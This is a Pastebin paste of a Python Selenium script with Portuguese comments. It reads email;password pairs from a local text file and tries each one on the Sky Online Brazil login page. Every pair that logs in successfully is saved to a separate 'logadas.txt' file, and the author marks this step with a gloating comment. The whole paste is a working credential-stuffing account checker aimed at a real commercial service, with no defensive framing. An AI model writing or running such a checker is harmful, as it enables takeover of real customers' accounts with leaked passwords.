Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from selenium import webdriver
- from selenium.webdriver.common.keys import Keys
- import time
- arquivo = open('C:\\Users\\mathe\\Documents\\teste_emails.txt','r') # open abre o arquivo, r = read
- texto = arquivo.readlines() # isso vira uma lista cada linha é um elemento
- browser = webdriver.Firefox(executable_path="C:\geckodriver.exe") # colocar web drive no caminho certo, e abrir um path em variaveis de ambiente.
- for linha in texto: # percorre as listas (texto)
- try:
- partes = linha.split(';')
- email = str(partes[0]);senha = str(partes[1])
- browser.get("https://www1.skyonline.com.br/integracao/login/?chave=e82947ce-9d0d-4eb0-af87-ae1fe493b602&ss=ad2f6c521319e1f38ddfb3e89aecdbc4") # pagina de login
- time.sleep(1) # espera o javascript carregar
- username = browser.find_element_by_id("login") # procura um elemento id com tag especifica no html
- password = browser.find_element_by_id("senha")
- username.send_keys(email) # envio o email da lista pra esse método.
- password.send_keys(senha) # envio a senha da lista pra esse método.
- login_attempt = browser.find_element_by_id("btnSubmit") # procura o botão de login. Tbem poderia ser escrito assim login_attempt = browser.find_element_by_id("btnSubmit").click()
- login_attempt.click() # clica no botão
- time.sleep(2)# Esse tempo é necessário pois se logar temos q esperar carregar a pagina de login.
- except:
- print("Deu pau no split")
- # TRATAMENTOS DE ERROS.
- try:
- if (bool(browser.find_element_by_xpath("/html/body/div/div/div[1]/img"))): #se logar , e se logar com erro :D MUHAHAHA
- with open("C:\\Users\\mathe\\Documents\\logadas.txt", "a") as arq:
- arq.write(email+"|"+senha+"\n") # salva arquivo em txt contendo o email e senha logado.
- except: #se o if n achar o elemento vai retornar um erro e quebrar o programa, por isso o try e except.
- print("Não logou")
- arq.close()# fecha o arquivo txt
- arquivo.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement